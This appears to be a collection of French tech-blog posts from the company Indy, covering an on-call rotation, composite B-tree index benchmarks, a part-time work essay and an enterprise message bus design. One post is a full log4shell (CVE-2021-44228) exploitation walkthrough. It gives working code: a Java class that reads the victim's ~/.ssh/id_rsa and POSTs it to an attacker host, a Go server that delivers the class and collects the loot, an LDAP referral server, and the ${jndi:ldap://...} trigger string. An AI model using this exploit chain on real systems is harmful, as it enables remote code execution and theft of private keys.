Dans mon équipe, le Caribou s’organise de la manière qu’il le souhaite. Nous avons cependant un ordre de priorité à accorder aux différents sujets.
En effet, nous cherchons en priorité à régler les alertes remontées sur Sentry, car elles peuvent potentiellement impacter plusieurs utilisateurs (voire tous). Ensuite, nous nous attelons à traiter les tickets internes, qui concernent généralement un seul utilisateur.
Pour ce qui est des audits (jobs qui tournent en tâche de fond afin de vérifier la cohérence des données de nos utilisateurs) nous regardons qu’ils tournent correctement qu’une fois par semaine, le volume d’erreurs étant faible nous n’avons pas besoin de plus.
Après avoir vérifié tout ça, s’il reste du temps dans la journée du Caribou, celui-ci peut attaquer le développement des correctifs pour régler à la racine des problèmes remontés par les alertes Sentry, ou bien s’attaquer à de petits sujets de roadmap !
Points d’attention
Comme nous l’avons vu, le rôle du Caribou est d’être la vigie de l’équipe, et donc d’intervenir en premier en cas de problème. Par conséquent, s’il ne connaît pas assez le domaine concernant un de ces problèmes, il se doit de prévenir et de voir avec la personne compétente la meilleure manière d’aborder la situation.
Notons aussi qu’il faut garder une bonne communication avec son PM, notamment lorsqu’il s’agit de problèmes nécessitant un développement plus conséquent. En effet, tous les problèmes ne sont pas à traiter dans l’instant. Il arrive que certains demandent plus de réflexion sur la manière de les solutionner, et donc il faudra sûrement intégrer ça dans la roadmap avec le PM.
Un point très positif de ce système est qu’il permet de partager la connaissance facilement. Le Caribou aura à cœur de documenter un maximum les actions qu’il prend face à un problème (ex: méthode d’investigation et de résolution, différentes requêtes utilisées, etc.) dans ce que nous appelons la Caribase. Cela permettra aux prochains d’être plus efficaces face à un même problème. De plus, lorsque nous accueillons de nouveaux collègues, assister le Caribou est une excellente manière d’aborder la plupart des sujets de l’équipe !
Et vous, comment fonctionnez-vous ? Que pensez-vous de notre système de Caribou 🦌 ?
- Sentry : solution de tracking des erreurs (https://sentry.io/welcome/)
-
Créer un index B-tree composé efficace,
Créer un index B-tree composé efficace, un défi plein de pièges
Nous avons tous eu à indexer nos bases de données à un moment donné.
Nous avons tous cherché à indexer plusieurs champs avec des index composés à un moment donné.
Et pourtant nos index composés peuvent avoir fait pire que mieux ou ne pas être à la hauteur. Nous allons ici avec un véritable use case voir la différence entre les bons et les mauvais index composés.
Rappel du B-tree et idées reçues
Etant donné l’étendu de la littérature sur les B-tree, nous ne nous étendrons pas trop dessus. Pour mémoire, le fonctionnement du B-tree est le suivant
Pour lire la valeur 7, on va traverser l’arbre en partant du nœud racine en bleu, traverser la branche jaune à gauche et lire les valeurs en vert. La, l’index va nous donner directement l’adresse de l’enregistrement voulu.
Dans le cas d’un index composé, l’index sera une succession d’index simples.
Exemple de schéma si on créé un index B-tree sur les colonnes “A” et “B” (dans cet ordre).
Par exemple avec la requête SQL
CREATE INDEX "composed_index_name" ON "my_table" ("A", "B");
On va créer l’arbre suivant
Si maintenant, je veux la valeur
A: 1, B: 5
voici le parcours (en rouge) qui va être effectué.Si on suit le trajet en rouge lors d’une requête : aucun doute c’est vraiment bien optimisé.
De plus, en observant l’arbre, on voit apparaître un pattern assez connu et souvent documenté.
Un index sur A et B permet aussi d’indexer des queries sur A uniquement
Si, je reprend, l’exemple, si je veux tous les enregistrements ayant pour valeur de
A
à1
il suffit de parcourir l’arbre en rouge ci-dessous.Relativement peu de flèches rouges, ça semble être effectivement une bonne astuce à première vue.
Le piège du composed index
Nous allons maintenant nous intéresser à l’index composé et essayer de voir comment il peut devenir un piège.
Les données théoriques de nos index
Pour ce faire, nous allons nous intéresser à de la donnée plus proche de la réalité que notre exemple théorique. On va stocker en base de données des exécutions de tâches s’exécutant trois fois tous les dix jours et échouant une fois sur trois.
Ce qui nous donne les données suivantes :
date status 2022-01-01 success 2022-01-05 error 2022-01-10 success 2022-01-11 success 2022-01-15 error 2022-01-20 success 2022-01-21 success 2022-01-25 error 2022-01-30 success Si nous avons les deux requêtes suivantes à indexer :
- Récupérer un run pour une date donnée
- Un compte des runs en échec entre deux dates. L’exemple s’appliquerait aussi si nous voulons tous les runs en échecs (sans compte), mais la récupération des runs serait coûteuse en temps, le
count
nous permet de mesurer uniquement le temps de parcours de l’index en excluant le fetch de données.
# Requête 1 SELECT * from runs WHERE date = <date> #Requête 2 SELECT count(*) from runs WHERE date > <date_start> AND date < <date_end> AND status = 'error'
Premier index
En bon développeur devant une requête SQL lente, nous allons penser index.
A partir de l’idée reçue vue au paragraphe précédent, nous allons préférer l’index suivant :
CREATE INDEX "date_status" ON "runs" ("date", "status");
Cet index, semble couvrir les deux queries avec un seul index.
Intéressons nous maintenant à l’arbre que cet index va générer.
Par rapport à ce à quoi nous nous attendions, celui-ci semble étrange.
En effet, nous n’avons qu’un enregistrement par bloc de feuilles (en vert). Et il y a beaucoup de flèches.
Nous allons maintenant exécuter nos deux requêtes :
Récupérer un run pour une date donnée
Si je veux récupérer le run du 21/01/2022, je vais exécuter le trajet suivant (en rouge).
Le trajet semble plutôt bien optimisé. Peu de flèches rouges empruntées. Vérifions ça par la pratique. Nous allons utiliser la base de données témoin contenant 10 millions de runs avec un run sur 100 en erreur.
Scénario Temps d’exécution Taille d’index Sans index +/- 2s 0Mb index date_status +/- 2ms 160Mb index date +/- 2ms 120Mb On remarque que le temps d’exécution est très proche avec l’index date_status qu’avec l’index date uniquement.
Le contrat est donc clairement rempli avec cet index sur cette requête.
Seul bémol, la taille de l’index est bien supérieure à celle de l’index date uniquement on comprend aisément pourquoi en revenant à l’arbre. La surabondance de blocs et de flèches se paye sur la taille de l’index.
Tous les runs en échec entre deux dates
Les choses vont se compliquer dans ce cas. Dans notre exemple théorique, si je demande une plage de date équivalente à la moitié de l’amplitude de la base, on se retrouve avec le parcours suivant.
Pour finalement récupérer un seul enregistrement, nous avons un parcours extrêmement complexe et coûteux.
Si on valide par la pratique, en reprenant notre jeu de données de test, on va demander une plage de date correspondant à environ 500 000 runs (sur 10 millions de runs dans la table).
Scénario Temps d’exécution requête date Temps d’exécution requête runs en error entre deux dates Taille des index Sans index +/- 2s +/- 2s 0Mb index date_status +/- 2ms +/- 310ms 160Mb index date +/- 2ms +/- 300ms 120Mb index status +/- 2s +/- 100ms 45Mb On observe effectivement que notre index composé ne fait pas mieux qu’un index uniquement sur le champ date.
Il est important de noter que plus la fenêtre temporelle de requête est large, pire vont être les performances de cet index.
A l’inverse, plus la fenêtre est étroite meilleur sera l’index.
C’est donc un véritable camouflet pour le postulat de départ : un index composé sur A-B permet de requêter sur A de la même façon que un index sur A
On observe même une valeur étrange, la requête est plus rapide avec l’index status que date_status. Pourquoi ? Tout s’explique avec les cardinalités. Nous avons 10 millions de runs dont 1% en erreur. Soit 100 000 runs alors que dans le parcours via date_status nous allons au final **parcourir 500 000 runs.
Ce qui nous amène a une première grande idée générale, un index composé efficace est le plus souvent un index réfléchi pour une et une seule requête.
Autre première observation, un index composé occupe environ le même espace que les index uniques qui le compose. Ca semble logique si on repense à la structure de l’arbre.
Comment exploiter au mieux le composed index
A partir de là, nous allons réfléchir aux solutions d’indexation qui s’offrent à nous et essayer d’en tirer quelques règles.
Indexer chaque champ
Contre toute attente, cette solution, sans aucune subtilité est souvent une bonne approche.
CREATE INDEX "date" ON "runs" ("date"); CREATE INDEX "status" ON "runs" ("status");
SI nous reprenons l’exemple précédent, voici le résultat du bench.
Scénario Temps d’exécution requête date Temps d’exécution requête runs en error entre deux dates Taille des index Sans index +/- 2s +/- 2s 0Mb index date_status +/- 2ms +/- 310ms 160Mb index date +/- 2ms +/- 300ms 120Mb index status +/- 2s +/- 100ms 45Mb index date + index status +/- 2ms +/- 300ms 160Mb C’est encore un coup d’épée dans l’eau, on ne fait pas mieux que avec date uniquement et la taille des index a augmenté.
Inverser l’index composé
Plutôt que d’avoir un index sur date puis status, on va inverser et le créer sur status puis date.
CREATE INDEX "status_date" ON "runs" ("status", "date");
Scénario Temps d’exécution requête date Temps d’exécution requête runs en error entre deux dates Taille des index Sans index +/- 2s +/- 2s 0Mb index date_status +/- 2ms +/- 310ms 160Mb index date +/- 2ms +/- 300ms 120Mb index status +/- 2s +/- 100ms 45Mb index date + index status +/- 2ms +/- 300ms 160Mb index status_date +/- 2s +/- 3ms 120Mb Ca y est nous avons enfin trouvé un index qui fonctionne pour la deuxième requête. Mais nous y perdons sur la première requête.
C’est bien la preuve que l’ordre des colonnes d’un index composé est très important.
Si nous reprenons notre arbre, voici l’explication.
Visuellement on voit tout de suite pourquoi l’index marche bien.
Très peu de traits rouges, le chemin vers les feuilles est très direct.
Nous pouvons en tirer une nouvelle bonne pratique un index composé efficace commence par les colonnes dont les valeurs ont les plus faibles cardinalités : le moins de valeurs possibles.
Utiliser un index partiel
Certains SGDB comme MongoDB et PostgreSQL permettent de spécifier des conditions sur un index. Ca devient particulièrement intéressant à combiner avec un index composé qui sera tunné précisément pour une requête. Ca permettra de diminuer l’empreinte de l’index sur l’espace de stockage.
CREATE INDEX "partial_status_date" ON "runs" ("status", "date") WHERE status = "error";
Cet index va indexer runs de la même façon que l’index composé sur
“status”, “date”
mais uniquement pour les enregistrements qui matchent la condition duWHERE
.Scénario Temps d’exécution requête date Temps d’exécution requête runs en error entre deux dates Taille des index Sans index +/- 2s +/- 2s 0Mb index date_status +/- 2ms +/- 310ms 160Mb index date +/- 2ms +/- 300ms 120Mb index status +/- 2s +/- 100ms 45Mb index date + index status +/- 2ms +/- 300ms 160Mb index status_date +/- 2s +/- 3ms 120Mb index partial_status_date +/- 2s +/- 6ms 1Mb C’est une vraie bonne nouvelle !
Pour 1Mb de stockage, nous avons un index qui va adresser très correctement la requête voulue.
En conclusion, les bonnes pratiques de la création d’index composé
Les leçons que nous avons tirées de notre exercice sont :
- l’ordre des colonnes d’un index composé est important
- un index composé vraiment efficace est souvent un index réfléchi pour une et une seule requête
- un bon index composé occupe environ le même espace que les index uniques qui le compose
- Dans le doute, on peut appliquer la règle suivante : un index composé efficace commence par les colonnes dont les valeurs ont les plus faibles cardinalités
- Les index partiels sont souvent un bon compromis, pour une taille qui peut être très réduite ils permettent de multiplier les index.
Maintenant j’espère que les index composés vous semblent beaucoup moins magiques.
La stratégie de benchmark
Pour valider nos futures hypothèses nous allons utiliser une table témoin contenant 10 millions de runs.
Chaque enregistrement a le format suivant :
Colonne Type valeur date Date date de type auto increment status Text un enregistrement sur 100 en échec (⚠️ dans les graphes on a un échec sur 3 pour que ce soit plus compréhensible) Les benchmarks ont été fait sur mongodb, mais peuvent s’appliquer à PostgreSQL aussi.
Ressources
Repository github contenant le benchmark : https://github.com/jtassin/blog-post-composed-index-1
-
REX : comment mener une activité annexe en parallèle du salariat
“Y’a pas que les ordinateurs qui sont multitâches”
Ou, un retour d’expérience sur mes activités parallèles au salariat.
Web developer who also develops film.
👆Ainsi commence ma bio Twitter.
Pour les moins anglophones d’entre nous, ça arrive, on pourrait le traduire maladroitement en “développeur informatique qui développe aussi des photos”.
Forcément, au royaume des 140 caractères, la brévité est de mise et cette description de mon quotidien est un peu réductrice. Mais elle n’en reste pas moins très juste !
L’informatique est mon métier ainsi qu’une partie de mes loisirs, et la photographie argentique est ma passion ainsi qu’une partie de mes activités professionnelles.
Ce continuum travail / profession / loisirs, dans un monde de plus en plus fluctuant, de plus en plus (inter)connecté est une facette nouvelle d’un schéma du travail fondamentalement opposé à la construction traditionnelle de l’individu par sa profession et à fortiori par une carrière longue et unique.
“freelances”, “slashers”, entrepreneurs individuels, auto-entrepreneurs, “micro-taskers”, autant de formes de travail à l’opposé du CDI à vie et qui semblent pourtant se pérenniser.
Moi-même c’est mon 4ème contrat en tant que développeur web, dans autant d’entreprises différentes. Là où mon père passa quelques 35 ans de carrière dans l’informatique au sein de la même société. Et sans la photographie et l’auto-entreprise, je n’aurais jamais eu l’occasion d’écrire ces lignes, car je ne serais jamais devenu développeur.
Revenons au début. Ou presque, ça prendrait trop longtemps.
2008, pas trop mauvais au lycée, bac S et direction l’INSA Lyon pour étudier le génie mécanique et sans le moindre doute y dédier ma carrière.
2010, pas trop mauvais en photo, que je pratique depuis quelques années, je décide de les publier sur internet, et de faire un blog. En bon ingénieur que je n’étais pas encore, j’en profite pour essayer de coder ce blog moi-même, et mets un pied dans WordPress.
2011, pas trop mauvais en WordPress, autodidacte et très motivé, je crée mon auto-entreprise pour fournir des sites vitrines à des connaissances et y consacre une année blanche.
2013, plus trop motivé par le génie mécanique, et bien plus intéressé par l’informatique, je me réoriente vers un DUT Informatique en année spéciale.
2014, pas déçu par ce DUT, j’enchaîne sur un cursus d’ingénieur à nouveau. En alternance et en informatique cette fois-ci.
2017, finalement BAC+5, je quitte l’alternance et rejoins une startup où je choisis le temps partiel pour continuer la photo sur mon temps perso.
2019, toujours passionné de photo, je prends le statut légal d’artiste auteur.
2019 aussi, je rejoins Indy, alors Georges.tech, et je conserve ce temps partiel.
C’est bien beau tout ça, mais
quand est-ce qu’on mangepourquoi on lit ça sur un blog tech ?Parce que chez Indy, la tech ne s’arrête pas au point-virgule final de nos fichiers (oui, ici c’est
semi: ['error', 'always']
). On recrute et travaille quotidiennement avec des humains, et c’est la base de notre philosophie. Pour paraphraser notre annonce pour le poste de développeur·euse :Chez nous, les valeurs ce n’est pas juste du wording à la mode. Elles font partie intégrante de notre culture. Nous recrutons des talents H.A.P.P.Y.*
* : Humble, Attentionné·e, Passionné·e, Perfectionniste, Y-factor
Facile à dire, non ?
Pas si facile dans la vraie vie (IRL™️), et encore moins dans une entreprise en hyper-croissance qui voit arriver de nouveaux visages tous les mois !
Pourtant mon quotidien de développeur chez Indy en bénéficie tous les jours, et je suis heureux de rendre la pareille dès que j’en ai l’occasion.
💡 Car c’est réellement important.
À tel point que dans les attentes de progression de carrière, on trouve ces valeurs au même niveau que l’architecture logicielle ou la connaissance de Node.js.
Et tout à l’heure, j’ai répondu “J’encourage les équilibres pro/perso, fais attention à ce que chacun trouve sa place.” en face du Passionné de HAPPY.
Et je me suis dit que oui, en effet, je n’étais pas qu’un développeur informatique dans une équipe technique.
Allez, assez de bla-bla. Des faits !
- Je suis en temps partiel.
- Ou plutôt, en temps partiels, 80% / 20%.
- J’utilise mes compétences acquises à Indy pour mon activité de photographe, entre autres.
- J’utilise mes compétences de photographe chez Indy. Littéralement. J’y prends régulièrement des photos.
- Mais pas que. Je participe aussi aux explorations produit, étant très bien placé pour connaître les besoins des indépendants.
- J’ai un statut légal d’auteur photographe, donc techniquement j’ai deux activités professionnelles.
- Je profite des refontes de mon site pro pour faire de la veille technologique.
- Évidemment, j’utilise Indy (avec plaisir) pour ma compta photo 😜.
- Et bien sûr je peux débugger les features sur un “vrai” compte !
J’avais commencé mon contrat en 90% sous un format un vendredi sur deux, mais je me suis vite rendu compte que c’était une galère à organiser. Les collègues ne savaient jamais si j’étais au bureau ou au bar, je devais prévoir chaque mois les jours de présence en jonglant entre les différents mois selon le nombre de vendredis effectifs, bref, c’était pas idéal.
Aujourd’hui (et depuis un bon moment du coup), je suis en 80% avec un format habituel jamais d’Indy le vendredi (oui ça rime). Sachant que ce n’est pas gravé dans le marbre chez nous, et que quand et si j’ai besoin d’adapter ça ne pose pas de souci. Par exemple un shoot photo qui tombe le mardi ne sera pas perdu, et je rattraperai ma journée le vendredi. Mais c’est quand même plus simple pour tout le monde quand c’est un jour fixe.
D’ailleurs puisqu’on parle de simplicité, il faut bien avouer que le temps partiel — comme tous les compromis — n’est pas l’organisation la plus simple. Mais à mes yeux la balance finale penche clairement du côté du bénéfice malgré de nombreuses petites frustrations.
Parce que oui, même si on met pas en prod le vendredi il se passe quand même des choses
au bureausur Slack | Github à la tech Indy. Je pense notamment aux évènements et rituels de l’équipe qui ont lieu le vendredi et auxquels je ne peux donc pas participer.💡 Rappel : pour les tech Indy, le vendredi après-midi c’est veille techno, montée en compétences et R&D, 10% du temps de travail y étant dédié.
Et je rate donc le goûter du code, chouette moment de partage informel entre nous. Certes il est enregistré, mais j’ai rarement la disponibilité le reste de la semaine pour rattraper. Et c’est quand même moins gratifiant sans les interactions.
Pour la même raison, je fais mon temps de veille le jeudi après-midi afin de profiter d’une fin de semaine agréable ce qui me met en décalage du reste de la vie tech sur cette période.
Aujourd’hui je me considère chanceux. Chanceux de l’équilibre que j’ai construit entre pro et perso, chanceux d’avoir trouvé une société qui encourage la diversité et la passion, au sein d’une Société où c’est loin d’être gagné d’avance. Chanceux d’avoir un métier épanouissant en parallèle de mes passions.
Je dis chanceux, mais ça n’a rien à voir avec la chance dans les faits. Ça relève de l’organisation, de la philosophie de vie et de la bonne volonté de chacun. C’est un cercle vertueux, moins connu que son antagoniste vicieux mais tout aussi potent.
Et il faut bien dire que ça demande aussi pas mal de boulot ! Pas simple de jongler entre différents agendas. D’où l’intérêt de bénéficier d’une politique congés souple et de bien s’organiser !
Et vous alors ? Des passions envahissantes ? Des loisirs professionnalisés ? Des projets à entreprendre ?
Vous faites quoi à côté du travail ? Comment gérez-vous votre temps précieux ?
Vous avez forcément quelque chose d’autre à investir et faire fructifier. Et dans le cas contraire, vous trouverez bien un jour 🙂
-
Comprendre (et exploiter 😈) la faille log4shell
Log4j, qu’est-ce que c’est ?
Log4j est une des librairies de log parmi les plus utilisées par les applications codées en java. La liste des entreprises qui l’utilise est longue, on y compte notamment des géants comme Apple, Google, Microsoft ou encore Steam.
La faille Log4Shell
Log4shell c’est le nom donné à cette vulnérabilité. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille très dangereuse est que d’une part elle est très facile à exploiter et d’autre part,la librairie log4j est utilisée dans un grand nombre de projets. Sur github plus de 300 000 dépôts utilisent cette dépendance.
Log4j comprend une fonctionnalité de lookup. C’est à dire qu’elle peut interpréter certaines instructions qui seraient inclues dans les données loggées. Par exemple si on lui demande de logger
${env:USER}
, cette chaîne de caractères va automatiquement remplacée par la valeur de la variable d’environnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory interface), qui en soit n’est pas problématique, on va juste chercher une valeur ailleurs et la logger. Quand on la combine a ldap (un annuaire clé valeur) il devient possible de faire exécuter du code. Pour comprendre comment cela marche, on a va passer à la pratique dans la partie suivante.Exploitons cette faille
Passons maintenant aux travaux pratiques. Pour réaliser une attaque, on va utiliser deux ordinateurs. Le premier sera l’ordinateur cible, qui fera tourner le serveur, le second (à l’adresse 192.168.1.22) sera l’ordinateur attaquant qui va héberger le serveur http et jdni.
Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)
Pour commencer, on lance le serveur minecraft avec la commande suivante :
java -Xmx1024M -Xms1024M -jar .\\\\server.jar nogui
On va ensuite avoir besoin d’un code java malicieux qui sera exécuté sur la machine qui héberge le serveur minecraft. Dans cet exemple on va lire la clé privée de l’utilisateur et l’envoyer à un serveur distant via http.
Voici le code qui fait ça :
import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.nio.charset.StandardCharsets; import java.io.BufferedReader; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; public class MinecraftRCE { static { try { URL url = new URL("<http://192.168.1.22:8080/data>"); URLConnection con = url.openConnection(); HttpURLConnection http = (HttpURLConnection) con; http.setRequestMethod("POST"); StringBuilder sb = new StringBuilder(); try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) { String line; while ((line = br.readLine()) != null) { sb.append(line).append("\\\\n"); } } catch (IOException e) { System.err.format("IOException: %s%n", e); } byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8); int length = out.length; http.setFixedLengthStreamingMode(length); http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); http.setDoOutput(true); http.connect(); try(OutputStream os = http.getOutputStream()) { os.write(out); } http.disconnect(); } catch (Exception e){ e.printStackTrace(); } } }
On compile ce bout de code avec
javac
pour obtenir un fichierMinecraftRCE.class
:javac MinecraftRCE.java
La prochaine étape est de servir ce fichier
.class
sur un endpoint http. Plusieurs options pour réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un serveur http avec la librairie standard :package main import ( "bytes" "io/ioutil" "log" "net/http" ) func dataHandler(_ http.ResponseWriter, req *http.Request) { buf, _ := ioutil.ReadAll(req.Body) rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf)) log.Printf("secret data: %q", rdr1) } func main() { fs := http.FileServer(http.Dir("./java")) http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1 http.HandleFunc("/data", dataHandler) // 2 println("waiting for secret data") http.ListenAndServe(":8080", nil) }
Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :
- Il sert sur la route
/static
le fichierMinecraftRCE.class
qui est dans le dossierjava
- Il écoute sur la route
/data
et affiche lebody
de la requête. C’est sur ce endpoint qu’on recevra la clé privée envoyée par le script java malicieux.
Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :
const ldap = require('ldapjs'); const server = ldap.createServer(); server.search('', (req, res, next) => { const obj = { dn: req.dn.toString(), attributes: { javaClassName: "MinecraftRCE", javaCodeBase: "<http://192.168.1.22:8080/static/>", objectClass: "javaNamingReference", javaFactory: "MinecraftRCE", } }; res.send(obj); res.end(); }); server.listen(1389, () => { console.log('LDAP server listening at %s', server.url); });
On lance ce serveur avec node :
node index.js
Tout est en place pour passer à l’action. On se connecte au serveur minecraft comme un joueur normal et on peut déclencher l’attaque. Pour ce faire il suffit de taper dans le chat le texte suivant :
${jndi:ldap://192.168.1.22:1389}
C’est cette chaîne de caractères qui sera envoyée à log4j. Aussitôt qu’on a appuyé sur entrée on reçoit bien la requête avec la clé privée de la victime sur notre endpoint http
/data
.On reçoit même la requête 3 fois, sans doute parce que la chaîne est loggée 3 fois dans le code de minecraft.
Nous avons donc démontré que la faille log4shell peut facilement être exploitée. Dans notre exemple assez simple on s’est contenté de lire la clé privée, mais ce n’est pas la seule exploitation possible. C’est pourquoi il est fortement recommandé de garder ses logiciels à jour.
https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
https://news.fr-24.com/technology/591640.html
https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/
- Il sert sur la route
-
Introduction du bus d’entreprise chez Indy
tag : scalabilité, architecture
Récemment, chez Indy nous avons pris la décision d’ajouter un bus d’entreprise à la stack technique.
Nous allons passer en revue certaines des raisons qui nous ont poussé à faire ce choix.
Contexte : L’équipe tech et product est désormais composée de 39 personnes dont 32 développeurs.
Cette décision n’est pas forcément facile à prendre car elle introduit de la complexité nouvelle dans la stack technique. Ainsi que des techniques et des pratiques pour lesquelles la plupart des développeurs de l’équipe ne sont pas encore familiers.
Néanmoins après avoir réfléchi à la question et à la connaissance des personnalités qui forment l’équipe, je pense que c’est la voie de la scalabilité pour la boîte. Ce ne sera peut-être pas votre cas, donc je partage notre prise de décision et je ferai une suite d’articles sur l’adoption de cette pratique après quelques mois puis après un an.
Fils conducteurs
Pour expliquer comment l’architecture évolue, on peut citer nos fils conducteurs, et résumer la situation actuelle.
Nous avons un monolithe principal (Indy) sur lequel se trouvent les règles métiers, qui sert de backend à notre frontend et qui synchronise aussi un petit régiment d’outils externes. Ces outils ne sont pas liés à notre produit principal mais participent au bon fonctionnement de l’entreprise, notamment la synchronisation de nos différents CRM.
Historique
L’app a commencé simplement avec une connection Indy <-> Intercom. Intercom est l’outil utilisé par nos care pour faire la relation client. La première intégration demandée a été de remonter des informations du client sur Intercom comme : L’utilisateur est-il abonné ? A-t-il terminé sa clôture, dans quel régime fiscal se trouve-t-il ?
Puis nous avons eu une intégration Gsheet avec l’équipe marketing qui sortait des données d’Intercom à des fins d’analyses. Synchro au début manuelle qui est passé automatique.
Un peu plus tard, nous avons intégré le CRM de l’équipe Sales : pipedrive, ici aussi nous avons du remonter des informations du produit vers Pipedrive pour simplifier le travail des Sales en automatisant certaines actions sur pipedrive. Mais ici la relation est à double sens car nous devions récupérer des informations sur le commercial pour l’équipe marketing, ça remontait alors dans l’application pour aller dans Intercom pour aller ensuite dans GSheet (!).
/!\ Premier warning d’architecture ici : L’app Indy servait d’intermédiaire pour synchroniser pipedrive et notre BI de l’époque, code qui ne servait pas du tout l’intention originelle de l’app qui était de servir le client, c’était du code d’entreprise pur.
Puis nous avons ajouté Metabase qui aggrège les données des différents CRM ainsi que les données de l’application dans un outil qui sert à faire de la visualisation de données et de la BI.
Avec la croissance, on a continué à empiler les intégrations : Ringover pour des besoins sales, puis Trello pour de l’automatisation produit.
Nous avons continué avec des app internes qui manipulent l’API de CRM pour des besoins internes (autour de l’affectation d’Intercom), des intégrations entre nos CRM : Intercom et Pipedrive car des données de l’un étaient nécessaires dans l’autre.
Et le dernier ajout Slack qui s’intègre avec quasiment tous les autres services pour avoir nos infos dans notre outil de communication.
Le schéma devient vite complexe et il devient difficile pour un développeur, même ancien, de comprendre le flux de données et d’expliquer tout ce qu’il se passe sur notre système d’information.
Et ce schéma ne montre pas toute l’intégration de monitoring de l’application et des intégrations ! Ce n’était pas très gênant au début, mais cette complexité a conduit à des régressions.
Un fil conducteur sera alors : Le besoin d’être en mesure d’expliquer le sens des flux de données.
- Avoir une architecture plus explicite et systématique au niveau des synchros
- Que le sens de circulation des données soit plus explicite et systématique aussi
Un autre fil conducteur sera alors : Être en capacité de facilement rajouter une synchro sur le SI existant sans modifier le produit comptable et les autres services
Typiquement si demain on ajoute un nouveau CRM, il doit pouvoir écouter les évènements existants, faire sa propre synchro et en cas de crash, le faire sans impacter les autres services. En particulier le produit où se trouvent les clients.
Exemple d’échec suite à cet état :
Certaines API de nos CRM nous imposent un rate limit, ce qui n’est pas problématique au début mais avec la croissance de la boite on vient toucher ce rate limit inévitablement et une fois atteint, la plupart de nos requêtes échouent et notre synchronisation est perdue. C’est arrivé et le début du débug fut long et fastidieux car nous avions plein d’intégrations avec ce CRM, chacune plus ou moins bien monitorée. Il était alors difficile de trouver l’intégration qui posait problème et qui explosait le rate limit :
- Était-ce notre application principale ?
- Était-ce les ZAP (de Zapier) mis en place ?
- Était-ce son intégration avec un autre CRM ?
- Était-ce les jobs journaliers ? etc…
Une fois trouvé, comment respecter ce rate limit ? Comment le répartir sur les différentes intégrations ? Alors qu’elles n’ont pas la même criticité, qu’elles ne sont pas actives au même moment dans la journée, est-ce qu’il faut mettre en place une pile etc…
Nous avons perdu quelques semaines à résoudre ce point-là.
Volonté de changer
Ces problématiques sont assez classiques dans l’industrie et il existe beaucoup de littérature sur le sujet. Après nous être renseigné, nous avons décidé d’agir et de nous aligner sur ce qui se fait de manière générale sans chercher à être trop original.
Avec la croissance de la base de code et de l’équipe, nos drivers architecturaux (et humains) sont dorénavant :
- Découplage et autonomie des squads
- Pas d’erreur sur le produit principal
- Garder la volonté d’extension rapide de notre produit et SI
=> Il faut découpler ce qui peut l’être quitte à échanger un peu de complexité et introduire de nouvelles technologies. Les synchros propres à une squad et qui ne font pas partie du produit comptable sont des bons candidats.
Alléger notre codebase principale
Pourquoi sortir du code ? Retirer du code sans impacter nos fonctionnalités a toujours l’avantage de le rendre plus simple avec une interface exposée aux bugs plus faible. Il en va de même pour les dépendances, car la plupart des synchros viennent avec leur SDK et dépendances. L’envie de sortir le code de ces synchros, qui pèse dans la codebase du produit principal, s’est fait ressentir suite à des expériences parfois douloureuses sur les problématiques citées plus haut. Pour alléger le code du dépôt principal et du monolithe, ainsi qu’alléger ses dépendances, nous avons décidé de sortir le code qui n’était pas vital à notre métier : la compta.
Ceci permet d’avoir des équipes qui travaillent sur des dépôts différents pour du code qui a un but et une criticité complètement différentes, les laissant faire leur choix d’architecture, de CI et de process.
Je voulais aussi un découplage maximal, c’est pourquoi la solution d’appeler des services directement en HTTP ne me plaisait pas. Le pattern pub/sub est tout indiqué ici et est largement discuté dans la littérature, ce qui nous a amené assez rapidement sur cette proposition :
Tous les services ne sont pas représentés…
Le BUS fait office de SPOF (single point of failure), mais si le BUS tombe il n’y a pas d’impact sur le service pour les clients finaux.
Impacts sur le respect de SOLID
Le principe SRP (Single Responsibility Principle) est mieux respecté, il est plus facile de faire évoluer chaque petit module. Si l’API d’intercom change, on change le service en question et pas l’application de comptabilité, de même pour les autres services cloud.
Le principe OCP (Open/Closed Principle) est mieux respecté aussi. Si demain on veut ajouter un service, on peut le rajouter comme consumer du BUS sans toucher au reste du SI.
Gestion de la donnée nécessaire aux services externes
Une question se pose alors : comment envoyer sur le bus la donnée métier nécessaire aux applications de synchronisation de nos CRM ? Typiquement, lors d’un event user/subscribe par exemple, le nom de l’event et l’ID de l’utilisateur en soit ne suffisent pas. Le service pipedrive ou Intercom qui écoute sur le bus va vouloir que de la donnée soit attachée à l’évènement. Il existe alors trois solutions :
- Base de données partagée
- en PULL : les services appellent le produit principal à travers le réseaux
- en PUSH : le produit envoie la donnée sur le bus
1. Shared database :
Très rapidement écarté car cela ne sert à rien de découpler le code s’il reste couplé par le schéma de base de données. Ce modèle est trop fragile et bug-prone.
2. PULL Le service va chercher l’information par API :
Dans ce modèle, on essaye de garder le produit principal le plus simple possible en envoyant un évènement technique sans données métiers (uniquement des IDs). C’est au CRM en question de savoir quelles données il désire et d’aller les récupérer en interrogeant, par exemple, une simple API CRUD qui expose lesdites données.
Avantages :
Le code de l’émetteur de l’event reste simple. On ne fait pas apparaître une fonction
buildEvent
qui va aggréger des données qui, de première abord, n’ont rien à voir avec le cas d’utilisation car c’est une spécifité de l’app de sync d’un CRM.Désavantages :
Nous avons des routes qui sont potentiellement utilisées par des clients (l’interface) ou des apps internes. Il faut pouvoir les monitorer pour savoir si elles sont toujours utilisées ou non. Beaucoup de données transitent par le réseau donc il y a plus de risques d’erreur.
3. PUSH La data est formatté par Georges puis accroché à l’évènement
Ici la donnée est formattée dans l’émetteur directement puis attachée à l’event pour être envoyée sur le bus. Les modules n’ont pas à aller interroger l’émetteur pour récupérer des données supplémentaires.
